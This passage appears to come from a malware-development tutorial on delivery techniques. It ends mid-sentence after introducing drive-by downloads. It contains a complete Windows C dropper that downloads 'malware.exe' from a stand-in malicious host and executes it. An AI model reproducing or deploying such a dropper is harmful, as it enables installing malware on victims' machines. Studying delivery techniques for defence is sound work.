The art of deceiving a victim’s systems
We’ll provide some simple examples of malware delivery techniques. Note that these are simplified examples and concepts; real-world malware often employs more sophisticated strategies and evasion techniques, which you can read about in future chapters:
- Download and execute malware from a remote server: A malware might be hosted on a remote server and a dropper program can be used to download and execute it:
#include <windows.h> #include <urlmon.h> #pragma comment(lib, "urlmon.lib") int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, Â Â LPSTR lpCmdLine, int nCmdShow) { Â Â URLDownloadToFile(NULL, "http://maliciouswebsite.com/malware.exe", "C:\\temp\\malware.exe", 0, NULL); Â Â ShellExecute(NULL, "open", "C:\\temp\\malware.exe", NULL, NULL, SW_SHOWNORMAL); Â Â return 0; } - Drive by downloads (malicious web sites): When...
